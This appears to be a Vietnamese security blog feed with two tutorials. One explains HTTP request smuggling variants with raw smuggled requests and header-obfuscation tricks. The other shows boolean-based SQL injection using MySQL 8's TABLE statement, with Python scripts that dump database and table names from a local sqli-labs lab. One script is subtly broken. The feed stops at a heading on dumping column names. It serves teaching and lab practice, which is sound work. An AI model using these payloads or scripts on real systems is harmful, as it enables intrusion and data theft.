Web cache sinh ra để nâng cao trải nghiệm người dùng. Khi người dùng yêu cầu như những dữ liệu như HTML, CSS, Javascript, image,…, server có thể sẽ lưu vào web cache để không phải thực hiện lại những truy vấn để lấy những dữ liệu đó, giúp cho việc lấy dữ liệu nhanh hơn, đỡ tốn tài nguyên hơn cho người dùng.

Có một số loại web cache như sau:

Web cache ở phía browser: Sau khi người dùng thực hiện request lần đầu tiên đến server, nếu server hỗ trợ cache ở browser người dùng, dữ liệu sẽ được lưu vào cache ở browser của người dùng (nên xóa lịch sử web hay có mục cache). Khi người dùng request những lần tiếp theo tương tự như yêu cầu đầu tiên, browser chỉ cần lấy từ cache của browser để render ra cho người dùng.

Web cache phía Proxy Server: Nó thường là CDN caching. Nó hoạt động tương tự như browser caching tuy nhiên nơi lưu trữ cache ở đây là CDN server trên toàn thế giới. Ở đây nhiều user có thể dùng chung cache từ server gửi đến máy chủ CDN. Cách hoạt động các bạn có thể tham khảo thêm ở đây.

Web cache phía Reverse Proxy server: Cũng hoạt động tương tự như hai kiểu trên, tuy nhiên cache được lưu trữ ở phía Reverse Proxy.

Video tham khảo thêm về web cache:

Yêu cầu của lỗi HRS:

Để một lỗi HRS xảy ra, trang web cần đáp ứng những yêu cầu sau:

  • Trang web bao gồm hai máy chủ front-end (reverse proxy) và máy chủ back-end.
  • Máy chủ phải hỗ trợ Keep-Alive hoặc Pipelining để yêu cầu có thể gắn với yêu cầu của nạn nhân (Nếu bạn không hiểu thì cứ bỏ qua, đọc phần sau sẽ hiểu)
  • Máy chủ front-end và back-end phân tích các trường Transfer-Encoding, Content-Length không nghiêm ngặt khiến cho quá trình phân tích mắc sai lầm phát sinh lỗi.

HTTP request smuggling ở HTTP/1.1

CL (Content-Length) không bằng 0 và giả mạo Body:

Máy chủ proxy cho phép yêu cầu GET mang nội dung, nhưng máy chủ phía sau không cho phép mang nội dung trong GET request, khi này máy chủ phía sau sẽ trực tiếp bỏ trường Content-Length và không xử lý nó. Từ đây nó sẽ phát sinh ra lỗi HRS.

Ví dụ một request như sau:

1
2
3
4
5
6
7
GET / HTTP/1.1\r\n
Host: example.com\r\n
Content-Length: 44\r\n
 
GET /secret HTTP/1.1\r\n
Host: example.com\r\n
\r\n

Máy chủ Proxy nhận được yêu cầu, do máy chủ proxy cấu hình sai nên GET request được mang body giả mạo của mình. Sau đó nó sẽ chuyển đến máy chủ phía sau, tại đây nó không chấp nhận trường Content-Length nên nó loại bỏ tạo thành 2 request. Và nếu máy chủ có sử dụng pipelining, nó sẽ xem như là hai yêu cầu riêng biệt.
Yêu cầu thứ nhất:

1
2
GET / HTTP/1.1\r\n
Host: example.com\r\n

Yêu cầu thứ hai:

1
2
GET /secret HTTP/1.1\r\n
Host: example.com\r\n

CL-CL:

Kĩ thuật tấn công CL-CL là một yêu cầu HTTP chứa 2 trường Content-Length. Theo RFC-7230, nếu máy chủ nhận được hai yêu cầu Content-Length và giá trị của 2 yêu cầu đó khác nhau thì nó sẽ trả về lỗi 400. Tuy nhiên đôi lúc sẽ có những máy chủ không tuân thủ nghiêm ngặt thông số này và dẫn đến HRS.

Giả sử một kịch bản tấn công sẽ là cả máy chủ proxy và máy chủ gốc đều không trả về lỗi 400, và máy chủ proxy sử dụng trường Content-Length đầu tiên và máy chủ gốc sử dụng trường Content-Length thứ hai.

Ví dụ một request như sau:

1
2
3
4
5
6
7
POST / HTTP/1.1\r\n
Host: example.com\r\n
Content-Length: 8\r\n
Content-Length: 7\r\n
 
12345\r\n
a

Phân tích:

  • Máy chủ proxy nhận Content-Length: 8\r\n, dòng thứ 5 trống là một dòng thông thường của yêu cầu POST nên không tính vào phần nội dung, 12345 + \r + \n + a = 8 bytes thõa mãn với trường Content-Lengthnên nó chuyển tiếp yêu cầu đến máy chủ back-end.
  • Máy chủ Back-End nhận trường Content-Length: 7\r\n, sau khi đọc 7 kí tự đầu tiên là hết dòng thứ 6, máy chủ Back-End cho rằng quá trình đọc đã hoàn thành sau đó gửi response về cho client. Lúc này trong bộ đệm còn một kí tự a, máy chủ back-end sẽ xem như đây là một phần của yêu cầu (request) tiếp theo.

Bây giờ giả sử như có một người dùng khác gửi một yêu cầu đến máy chủ:

1
2
GET /index.html HTTP/1.1\r\n
Host: example.com\r\n

Dựa trên việc sử dụng lại kết nối TCP giữa máy chủ proxy và máy chủ back-end, a sẽ được kết hợp với yêu cầu này để tạo thành một yêu cầu mới:

1
2
aGET /index.html HTTP/1.1\r\n
Host: example.com\r\n

Lúc này tại máy khách sẽ nhận được một lỗi aGET request method not found, cho chúng ta biết được rằng HRS đã xảy ra.

CL-TE

Trong trường hợp này, máy chủ Front-End sử dụng Content-Length và máy chủ Back-End sử dụng Transfer-Encoding.

Giả sử một yêu cầu như sau:

1
2
3
4
5
6
7
8
9
POST / HTTP/1.1\r\n
Host: example.com\r\n
Connection: keep-alive\r\n
Content-Length: 6\r\n
Transfer-Encoding: chunked\r\n
\r\n
0\r\n
\r\n
a

Máy chủ Front-End nhận trường Content-Length: 6\r\n, dòng thứ 6 không tính vào Content-Length, dòng 7-9 có 0 + \r\n + \r\n + a = 6 bytes thõa mãn, nên yêu cầu được chuyển đến máy chủ back-end.
Máy chủ Back-End nhận Transfer-Encoding: chunked\r\n, khi nhận được cờ 0\r\n và dòng sau là \r\n máy chủ sẽ xem như là phần body đã kết thúc và lúc này kí tự a vẫn còn nằm trong bộ đệm.

Tương tự như CL-CL nếu bây giờ có một yêu cầu gửi đến:

1
2
POST / HTTP/1.1\r\n
Host: example.com\r\n

Nó sẽ gộp kí tự a với request này thành:

1
2
aPOST / HTTP/1.1\r\n
Host: example.com\r\n

Và client sẽ nhận lỗi Unrecognized method aPOST có nghĩa là HRS đã xảy ra.

TE-CL

Máy chủ Front-End sử dụng tiêu đề Transfer-Encoding, máy chủ Back-End sử dụng tiêu đề Content-Length.
Xét request như sau:

1
2
3
4
5
6
7
8
9
10
POST / HTTP/1.1\r\n
Host: example.com\r\n
Content-Length: 4\r\n
Transfer-Encoding: chunked\r\n
\r\n
12\r\n
aPOST / HTTP/1.1\r\n
\r\n
0\r\n
\r\n

Máy chủ front-end nhận Transfer-Encoding: chunked\r\n, khi đọc đến 0\r\n và \r\nở cuối, không có vấn đề gì xảy ra nên máy chủ front-end request đến máy chủ back-end.

Máy chủ back-end nhận trường Content-Length: 4\r\n, vì độ dày chỉ 4 bytes tương đương 12 + \r + \n là đến hết dòng thứ 6, máy chủ back-end sẽ xem là đã kết thúc request và phần còn lại từ dòng 7 trở đi không được xử lý và máy chủ back-end sẽ coi đây là phần bắt đầu của yêu cầu tiếp theo.

1
2
3
4
aPOST / HTTP/1.1\r\n
\r\n
0\r\n
\r\n

Tại thời điểm này nếu có một yêu cầu khác nó sẽ báo lỗi Unrecognized method aPOST, có nghĩa là HRS đã thành công.

TE-TE

Cả máy chủ front-end và máy chủ back-end đều sử dụng Transfer-Encoding nhưng bằng một cách nào đó chúng ta có thể gây nhầm lẫn cho máy chủ để một trong hai máy chủ front-end và back-end không xử lý Transfer-Encoding như bình thường, khi đó chúng ta có thể khai thác lỗ hỏng CL-TE hoặc TE-CL tùy theo cách xử lý của reverse proxy và back-end.

Một số cách để gây rối cho máy chủ như sau:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
Transfer-Encoding: xchunked
Transfer-Encoding : chunked

Transfer-Encoding: chunked
Transfer-Encoding: x

Transfer-Encoding:[tab]chunked

[space]Transfer-Encoding: chunked

X: X[\n]Transfer-Encoding: chunked
Transfer-Encoding: xchunked

Transfer-Encoding : chunked

Transfer-Encoding: chunked
Transfer-Encoding: x

Transfer-Encoding:[tab]chunked

[space]Transfer-Encoding: chunked

X: X[\n]Transfer-Encoding: chunked


Transfer-Encoding: chunked
Transfer-encoding: cow


Transfer-Encoding
: chunked
Transfer-Encoding
: chunked

Giả sử chúng ta có một request như sau:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
POST / HTTP/1.1\r\n
Host: ac4b1fcb1f596028803b11a2007400e4.web-security-academy.net\r\n
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0\r\n
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n
Accept-Language: en-US,en;q=0.5\r\n
Cookie: session=Mew4QW7BRxkhk0p1Thny2GiXiZwZdMd8\r\n
Content-length: 4\r\n
Transfer-Encoding: chunked\r\n
Transfer-encoding: cow\r\n
\r\n
5c\r\n
GPOST / HTTP/1.1\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Content-Length: 15\r\n
\r\n
x=1\r\n
0\r\n
\r\n

Máy chủ Proxy nhận Transfer-Encoding: chunked\r\n, thấy yêu cầu hợp lệ nó gửi đến máy chủ back-end.
Máy chủ back-end: Lúc này do tồn tại hai trường Transfer-Encoding: chunked\r\n và Transfer-encoding: cow\r\n nên khiến máy chủ bị rối, nó không biết nhận cái nào nên có thể bây giờ nó sẽ nhận Content-length: 4\r\n.

5c\r\n = 4bytes nên phần sau được xem như là một yêu cầu khác, và do máy chủ tồn tại pipelining nên nó được coi như là một yêu cầu khác biệt. Lúc này một lỗi Unrecognized method aPOST sẽ được trả về.

Web cache poisoning thông qua HRS:

Tham khảo:

]]> HRS https://rayinaw.github.io/2022/11/30/http-request-smuggling-HTTP-1.1/#disqus_thread Tính năng mới của Mysql 8 https://rayinaw.github.io/2022/11/27/sqli-mysql8/ https://rayinaw.github.io/2022/11/27/sqli-mysql8/ Sun, 27 Nov 2022 15:13:20 GMT <h1 id="Tinh-nang-moi-cua-mysql8"><a href="#Tinh-nang-moi-cua-mysql8" class="headerlink" title="Tính năng mới của mysql8"></a>Tính năng mới Tính năng mới của mysql8

Câu lệnh TABLE

1
TABLE table_name [ORDER BY column_name] [LIMIT number [OFFSET number]]

Chức năng: Trả về các hàng và cột của bảng được chỉ định

1
2
3
4
5
6
7
8
9
10
mysql> table users;
+----+--------+---------+
| id | name   | emotion |
+----+--------+---------+
|  1 | rayin  | love    |
|  2 | chuly  | love    |
|  3 | zujchi | cutee   |
|  4 | spider | ugly    |
+----+--------+---------+
4 rows in set (0.00 sec)

Trông thì tương tự như câu lệnh select. Kể cả kết hợp order.

1
2
3
4
5
6
7
8
9
10
mysql> select * from users;
+----+--------+---------+
| id | name   | emotion |
+----+--------+---------+
|  1 | rayin  | love    |
|  2 | chuly  | love    |
|  3 | zujchi | cutee   |
|  4 | spider | ugly    |
+----+--------+---------+
4 rows in set (0.00 sec)

Tuy nhiên điểm khác ở đây là câu lệnh table sẽ lấy ra toàn bộ bảng, vậy nên where clause sẽ không có tác dụng, nó sẽ đưa ra lỗi.

1
2
mysql> table users where id = 2;
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'where id = 2' at line 1

Câu lệnh VALUES

1
2
3
4
5
6
7
8
9
10
VALUES row_constructor_list [ORDER BY column_designator] [LIMIT BY number]
 
row_constructor_list:
    ROW(value_list)[, ROW(value_list)][, ...]
 
value_list:
    value[, value][, ...]
 
column_designator: 
    column_index

Câu lệnh nhìn khá phức tạp, đơn giản nó chỉ đưa ra các row mà chúng ta định nghĩa. Ví dụ cho dễ hiểu:

1
2
3
4
5
6
7
8
9
mysql>  values row(1,2,3),row(4,5,6),row(7,8,9);
+----------+----------+----------+
| column_0 | column_1 | column_2 |
+----------+----------+----------+
|        1 |        2 |        3 |
|        4 |        5 |        6 |
|        7 |        8 |        9 |
+----------+----------+----------+
3 rows in set (0.00 sec)

Câu lệnh này có thể kết hợp với union như sau:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
mysql> select * from users where id=2 union values row(1,2,3);
+----+-------+---------+
| id | name  | emotion |
+----+-------+---------+
|  2 | chuly | love    |
|  1 | 2     | 3       |
+----+-------+---------+
2 rows in set (0.00 sec)

//Có thứ hay ho rồi đấy :P

mysql> select * from users where id=1 union values row(1,database(),3);
+----+-------+---------+
| id | name  | emotion |
+----+-------+---------+
|  1 | rayin | love    |
|  1 | mysql | 3       |
+----+-------+---------+
2 rows in set (0.00 sec)

mysql> select * from users where id=1 union values row(1,(select name from users where id=1),3);
+----+-------+---------+
| id | name  | emotion |
+----+-------+---------+
|  1 | rayin | love    |
|  1 | rayin | 3       |
+----+-------+---------+
2 rows in set (0.00 sec)

Sử dụng câu lệnh table để dump database:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
mysql> table information_schema.schemata;
+--------------+--------------------+----------------------------+------------------------+----------+--------------------+
| CATALOG_NAME | SCHEMA_NAME        | DEFAULT_CHARACTER_SET_NAME | DEFAULT_COLLATION_NAME | SQL_PATH | DEFAULT_ENCRYPTION |
+--------------+--------------------+----------------------------+------------------------+----------+--------------------+
| def          | mysql              | utf8mb4                    | utf8mb4_0900_ai_ci     |     NULL | NO                 |
| def          | information_schema | utf8mb3                    | utf8_general_ci        |     NULL | NO                 |
| def          | performance_schema | utf8mb4                    | utf8mb4_0900_ai_ci     |     NULL | NO                 |
| def          | sys                | utf8mb4                    | utf8mb4_0900_ai_ci     |     NULL | NO                 |
+--------------+--------------------+----------------------------+------------------------+----------+--------------------+
4 rows in set (0.00 sec)

mysql> table information_schema.schemata limit 1;
+--------------+-------------+----------------------------+------------------------+----------+--------------------+
| CATALOG_NAME | SCHEMA_NAME | DEFAULT_CHARACTER_SET_NAME | DEFAULT_COLLATION_NAME | SQL_PATH | DEFAULT_ENCRYPTION |
+--------------+-------------+----------------------------+------------------------+----------+--------------------+
| def          | mysql       | utf8mb4                    | utf8mb4_0900_ai_ci     |     NULL | NO                 |
+--------------+-------------+----------------------------+------------------------+----------+--------------------+
1 row in set (0.00 sec)

mysql> table information_schema.schemata limit 2,1;
+--------------+--------------------+----------------------------+------------------------+----------+--------------------+
| CATALOG_NAME | SCHEMA_NAME        | DEFAULT_CHARACTER_SET_NAME | DEFAULT_COLLATION_NAME | SQL_PATH | DEFAULT_ENCRYPTION |
+--------------+--------------------+----------------------------+------------------------+----------+--------------------+
| def          | performance_schema | utf8mb4                    | utf8mb4_0900_ai_ci     |     NULL | NO                 |
+--------------+--------------------+----------------------------+------------------------+----------+--------------------+

Để dump ra tên SCHEMA_NAME bằng hàm table ta sẽ sử dụng Boolean-based SQL Injection. Để dễ hình dung chúng ta cùng đi vào ví dụ:

1
2
3
4
5
6
7
8
9
10
11
--Mình chỉ viết ra đầy đủ 1 câu truy vấn nếu như dính sqli sẽ như thế nào để các bạn dễ hình dung. Mình sẽ giải thích sau ^^
mysql> select * from users where id=1 and ('def','m',3,4,5,6)<=(table information_schema.schemata limit 1);
+----+-------+---------+
| id | name  | emotion |
+----+-------+---------+
|  1 | rayin | love    |
+----+-------+---------+
1 row in set (0.00 sec)

mysql> select * from users where id=1 and ('def','n',3,4,5,6)<=(table information_schema.schemata limit 1);
Empty set (0.00 sec)

Lưu ý là nếu chúng ta cần tìm cột sau thì phải biết giá trị cột trước mới so sánh được, các cột sau không quan trọng. Ở đây giá trị của cột đầu tiên sẽ là def, cột thứ 2 là tên database, các cột sau là không quan trọng đối với chúng ta. Chúng ta cùng đi vào phần boolean của payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
mysql> select ('def','l',3,4,5,6) <= (table information_schema.schemata limit 1);
+--------------------------------------------------------------------+
| ('def','l',3,4,5,6) <= (table information_schema.schemata limit 1) |
+--------------------------------------------------------------------+
|                                                                  1 |
+--------------------------------------------------------------------+
1 row in set (0.00 sec)

mysql> select ('def','m',3,4,5,6) <= (table information_schema.schemata limit 1);
+--------------------------------------------------------------------+
| ('def','m',3,4,5,6) <= (table information_schema.schemata limit 1) |
+--------------------------------------------------------------------+
|                                                                  1 |
+--------------------------------------------------------------------+
1 row in set (0.00 sec)

mysql> select ('def','n',3,4,5,6) <= (table information_schema.schemata limit 1);
+--------------------------------------------------------------------+
| ('def','n',3,4,5,6) <= (table information_schema.schemata limit 1) |
+--------------------------------------------------------------------+
|                                                                  0 |
+--------------------------------------------------------------------+
1 row in set (0.00 sec)

Câu lệnh này ở đây phần sẽ tương đương với việc so sánh chuỗi thứ 2 thuộc (‘def’,’m’,3,4,5,6) với chuỗi thứ 2 từ information_schema.schemata. Và với chỉ 1 kí tự nó sẽ so sánh kí tự đó với kí tự đầu của chuỗi, ở đây là l và mysql sẽ tương đương với so sánh l với m. Và vì l<=m nên trả về true, m<=m nên cũng trả về true, và với n>m nên trả về false. Vậy với việc select với boolean mà ra giá trị có nghĩa là kí tự đó vẫn đang <= kí tự cần tìm. Rồi đến khi clause là false tương đương với kí tự đó lớn hơn kí tự cần tìm, thì ta sẽ xác định kí tự trước đó là kí tự chúng ta cần tìm.

Tương tự như thế và ta sẽ có được tên database đầu tiên.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
mysql> select ('def','ms',3,4,5,6) <= (table information_schema.schemata limit 1);
+---------------------------------------------------------------------+
| ('def','ms',3,4,5,6) <= (table information_schema.schemata limit 1) |
+---------------------------------------------------------------------+
|                                                                   1 |
+---------------------------------------------------------------------+
1 row in set (0.00 sec)

mysql> select ('def','my',3,4,5,6) <= (table information_schema.schemata limit 1);
+---------------------------------------------------------------------+
| ('def','my',3,4,5,6) <= (table information_schema.schemata limit 1) |
+---------------------------------------------------------------------+
|                                                                   1 |
+---------------------------------------------------------------------+
1 row in set (0.00 sec)

mysql> select ('def','mz',3,4,5,6) <= (table information_schema.schemata limit 1);
+---------------------------------------------------------------------+
| ('def','mz',3,4,5,6) <= (table information_schema.schemata limit 1) |
+---------------------------------------------------------------------+
|                                                                   0 |
+---------------------------------------------------------------------+
1 row in set (0.01 sec)

Tiếp tục chúng ta sẽ thay đổi limit clause để lấy từng database ra.

Test trực tiếp bằng sql-labs

Xây dựng môi trường:

Đầu tiên các bạn cần cài đặt docker, khá là dễ thôi nên các bạn tự mình cài lấy nhé.

Cài đặt sqli-labs:

1
2
3
git clone https://github.com/c0ny1/vulstudy.git
cd vulstudy/sqli-labs
docker-compose up -d

Tiếp theo cài đặt Mysql 8:

1
2
docker pull mysql:lastest
docker run --name mysql -p (Địa chỉ ip của bạn, không có dấu ngoặc nhé):3306:3306 -e MYSQL_ROOT_PASSWORD=root -d mysql:tag

Trong terminal gõ docker ps để lấy id của container.

Tiếp theo thay đổi cấu hình của sqli-labs:

1
2
3
4
5
6
7
8
9
10
pwn@DESKTOP-AC6UABE:pts/3->/home/pwn (0)
> docker exec -it e70d0c13145d /bin/bash
--------------------
root@e70d0c13145d:/# ls
app   create_mysql_admin_user.sh  home   media  proc  run.sh  start-apache2.sh  tmp
bin   dev                         lib    mnt    root  sbin    start-mysqld.sh   usr
boot  etc                         lib64  opt    run   srv     sys               var
--------------------
cd app
cd sql-connections

Tiếp theo sử dụng vim để thay đổi nội dung của file db-creds.inc. Hơi khó sử dụng, các bạn tự đọc nhé ^^.

1
2
3
4
5
6
7
8
9
10
vi db-creds.inc
<?php

//give your mysql connection username n password
$dbuser ='root';
$dbpass ='root';//đổi theo mật khẩu đặt trên câu lệnh mysql trên.
$dbname ="security";
$host = '172.30.144.1';//đổi lại thành ip nhập ở câu lệnh mysql trên kia nhé
$dbname1 = "challenges";
?>

Cấu hình mysql:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
pwn@DESKTOP-AC6UABE:pts/3->/home/pwn (0)
> docker exec -it e99f25e4be29 /bin/bash
root@e99f25e4be29:/# mysql -u root -p
Enter password: 
// Đoạn này nhập mk vào nhé, ở đây mình đặt root nên nhập root. Nếu các bạn làm theo mình thì cũng là root. 
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 8
Server version: 8.0.29 MySQL Community Server - GPL

Copyright (c) 2000, 2022, Oracle and/or its affiliates.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql>
Cuối cùng gõ:
mysql> ALTER USER 'root' IDENTIFIED WITH mysql_native_password BY 'root';
Query OK, 0 rows affected (0.00 sec)

Thế là đã xong. Bây giờ gõ localhost trên trình duyệt là sẽ thấy trang web.

Dump database:

Vế phía sau and trả về true thì trên màn hình sẽ có Your Login name và Your Password, còn trả về false thì sẽ không xuất hiện gì cả. Từ đây chúng ta có thể sử dụng boolean sqli kết hợp câu lệnh table để dump ra database.

Chúng ta cần lưu ý về kí tự cuối cùng, ('def','mysql',3,4,5,6) sẽ không bằng với (table information_schema.schemata limit 0,1) nên kí tự cuối sẽ dừng ở chữ k, chuổi bây giờ sẽ là mysqk và với các kí tự nhiễu sau nó sẽ là không bằng và sẽ tiếp tục chạy. Ví dụ ở script dưới sẽ dừng khi i chạy hết 1 đến 20. Khi đó chúng ta có thể cho chạy vậy hoặc lọc cái đó ra vì nó không ảnh hưởng đến kết quả(các bạn test thì sẽ thấy ^^).

Ví dụ:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
--Kí tự bình thường.

mysql> select ('def','mysp',3,4,5,6) <= (table information_schema.schemata limit 1);
+-----------------------------------------------------------------------+
| ('def','mysp',3,4,5,6) <= (table information_schema.schemata limit 1) |
+-----------------------------------------------------------------------+
|                                                                     1 |
+-----------------------------------------------------------------------+
1 row in set (0.00 sec)

mysql> select ('def','mysq',3,4,5,6) <= (table information_schema.schemata limit 1);
+-----------------------------------------------------------------------+
| ('def','mysq',3,4,5,6) <= (table information_schema.schemata limit 1) |
+-----------------------------------------------------------------------+
|                                                                     1 |
+-----------------------------------------------------------------------+
1 row in set (0.01 sec)

--Kí tự cuối:

mysql> select ('def','mysqk',3,4,5,6) <= (table information_schema.schemata limit 1);
+------------------------------------------------------------------------+
| ('def','mysqk',3,4,5,6) <= (table information_schema.schemata limit 1) |
+------------------------------------------------------------------------+
|                                                                      1 |
+------------------------------------------------------------------------+
1 row in set (0.00 sec)

mysql> select ('def','mysql',3,4,5,6) <= (table information_schema.schemata limit 1);
+------------------------------------------------------------------------+
| ('def','mysql',3,4,5,6) <= (table information_schema.schemata limit 1) |
+------------------------------------------------------------------------+
|                                                                      0 | -- Trả về false
+------------------------------------------------------------------------+
1 row in set (0.00 sec)

Script dump database:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import requests
import urllib
url = 'http://localhost/Less-1/?id='
print("Nhập index kí tự cần tìm (VD: 1,2,3,...): ")
index_db = str(int(input())-1)
db_name = ""
count = 0
for i in range(1, 20):
    if count > 0:
        break
    for j in "`abcdefghijklmnopqrstuvwxyz-{|}~":
        payload = "1' and ('def','{}',3,4,5,6)<=(table information_schema.schemata limit {},1)-- -".format(
            db_name+j, index_db)
        print(db_name+j)
        # print(url+payload)
        payload_encoded = urllib.parse.quote(payload)
        r = requests.get(url=url+payload_encoded)
        if "Your Login name" in r.text:
            # print(r.text)
            # bước này mình check khi nó bị nhiễu ở kí tự cuối
            if j == '~':
                count += 1
            continue
        else:
            # print(r.text)
            db_name += chr(ord(j)-1)
            break
# Thay đổi kí tự cuối về đúng kí tự cần tìm ví dụ nó xuất ra mysqk thì chúng ta cần đổi về mysql bằng cách tăng ascii thằng k lên 1
list_dbname = list(db_name)
list_dbname[-1] = chr(ord(list_dbname[-1])+1)
db_name = "".join(list_dbname)
print("Database name is: "+db_name)

Dump table:

Tìm số cột của bảng information_schema.tables:

1
2
3
4
mysql> table information_schema.tables order by 21;
Trả về cái bảng, nhìu quá mình ghi vậy cho nhanh :P
mysql> table information_schema.tables order by 22;
ERROR 1054 (42S22): Unknown column '22' in 'order clause'

Vậy bảng này có 21 cột.

Payload tiếp theo sẽ có dạng:

1
http://localhost/Less-1/?id=1' and('def','mysql','a',4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21)<=(table information_schema.tables limit  0,1)-- -

Ở đây, ô đầu tiên là def, ô thứ 2 là database cần tìm table, ô thứ 3 là table. Các ô sau là không quan trọng. Tuy nhiên chúng ta cần phải limit table đúng với từng database. Không có một cách tìm cụ thể, nên việc test khoảng tìm là cần thiết.

Đây là source cho việc dump table_name của mysql

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import requests
import urllib
url = 'http://localhost/Less-1/?id='
table_name = ""
all_table_name = []
count = 0
for index_table in range(300):
    count = 0
    for i in range(1, 20):
        if count > 0:
            break
        for j in "`abcdefghijklmnopqrstuvwxyz-{|}~":
            payload = "1' and ('def','sys','{}',4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21)<=(table information_schema.tables limit {},1)-- -".format(
                table_name+j, index_table)
            print(table_name+j)
            # print(url+payload)
            payload_encoded = urllib.parse.quote(payload)
            r = requests.get(url=url+payload_encoded)
            if "Your Login name" in r.text:
                # print(r.text)
                # bước này mình check khi nó bị nhiễu ở kí tự cuối
                if j == '~':
                    count += 1
                continue
            else:
                # print(r.text)
                table_name += chr(ord(j)-1)
                break
    # Thay đổi kí tự cuối về đúng kí tự cần tìm ví dụ nó xuất ra mysqk thì chúng ta cần đổi về mysql bằng cách tăng ascii thằng k lên 1
    list_tablename = list(table_name)
    list_tablename[-1] = chr(ord(list_tablename[-1])+1)
    table_name = "".join(list_dbname)
    print("Table name is: "+table_name)
    if db_name == "__________________`":
    # dòng này là mình với payload của mình, payload nhiễu sẽ hiện ra cái này --> dấu hiệu nhận biết.
        break
    all_table_name.append(db_name)
    table_name = ""
print("All table name:")
print(all_table_name)

Hmm, ở trên k hay cho lắm cái này thuận lợi cho việc dò tìm hơn:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import requests
import urllib
url = 'http://localhost/Less-1/?id='
# nhập các giá trị
print("Nhập database cần tìm table_name: ", end='')
db_name = str(input())
print("Nhập bắt đầu table_name cần tìm: ", end='')
index_table_begin = int(input())-1
print("Nhập kết thúc của table_name cần tìm: ", end='')
index_table_end = int(input())-1
table_name = ''
# -------
all_table_name = []
count = 0
for index_table in range(index_table_begin, index_table_end):
    count = 0
    for i in range(1, 20):
        if count > 0:
            break
        for j in "`abcdefghijklmnopqrstuvwxyz-{|}~":
            payload = "1' and ('def','{}','{}',4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21)<=(table information_schema.tables limit {},1)-- -".format(
                db_name, table_name+j, index_table)
            print(table_name+j)
            payload_encoded = urllib.parse.quote(payload)
            r = requests.get(url=url+payload_encoded)
            if "Your Login name" in r.text:
                # bước này mình check khi nó bị nhiễu ở kí tự cuối
                if j == '~':
                    count += 1
                continue
            else:
                # print(r.text)
                table_name += chr(ord(j)-1)
                break
    # Thay đổi kí tự cuối về đúng kí tự cần tìm ví dụ nó xuất ra mysqk thì chúng ta cần đổi về mysql bằng cách tăng ascii thằng k lên 1
    list_tbname = list(table_name)
    list_tbname[-1] = chr(ord(list_tbname[-1])+1)
    table_name = "".join(list_tbname)
    print("Table name is: "+table_name)
    all_table_name.append(table_name)
    table_name = ""
print("All table name:")
print(all_table_name)

Với payload của mình nếu không đúng index so với database thì nó sẽ có table_name là “__________________`” hoặc là string trống. Để tìm đúng thì chúng ta sẽ dò đến khi có tên hợp lý.

Script dump table_name:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
import requests
import urllib
url = 'http://localhost/Less-1/?id='
# nhập các giá trị
print("Nhập database cần tìm table_name: ", end='')
db_name = str(input())
print("Nhập bắt đầu table_name cần tìm: ", end='')
index_table_begin = int(input())-1
print("Nhập kết thúc của table_name cần tìm: ", end='')
index_table_end = int(input())-1
table_name = ''
# -------
all_table_name = []
count = 0
for index_table in range(index_table_begin, index_table_end):
    count = 0
    for i in range(1, 20):
        if count > 0:
            break
        for j in "`abcdefghijklmnopqrstuvwxyz-{|}~":
            payload = "1' and ('def','{}','{}',4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21)<=(table information_schema.tables limit {},1)-- -".format(
                db_name, table_name+j, index_table)
            print(table_name+j)
            payload_encoded = urllib.parse.quote(payload)
            r = requests.get(url=url+payload_encoded)
            if "Your Login name" in r.text:
                # bước này mình check khi nó bị nhiễu ở kí tự cuối
                if j == '~':
                    count += 1
                continue
            else:
                # print(r.text)
                table_name += chr(ord(j)-1)
                break
    # break với trường hợp table_name = '' (test là thấy, tùy cách mình lập trình ^^)
    if table_name == "":
        continue
    # Thay đổi kí tự cuối về đúng kí tự cần tìm ví dụ nó xuất ra mysqk thì chúng ta cần đổi về mysql bằng cách tăng ascii thằng k lên 1
    list_tbname = list(table_name)
    print(list_tbname)
    list_tbname[-1] = chr(ord(list_tbname[-1])+1)
    table_name = "".join(list_tbname)
    # print("Table name is: "+table_name) print thẳng all table name dễ xử lí vấn đề hơn nhỉ ^^.
    all_table_name.append(table_name)
    table_name = ""
    print("All table name:")
    print(all_table_name)
    '''
    //Ở trong bài này, chúng ta cần tìm table_name trong database security
    All table name:
    ['emails', 'referers', 'uagents', 'users', '__________________`', '__________________`', '__________________`', '__________________`']
    '''

Dump column_name:

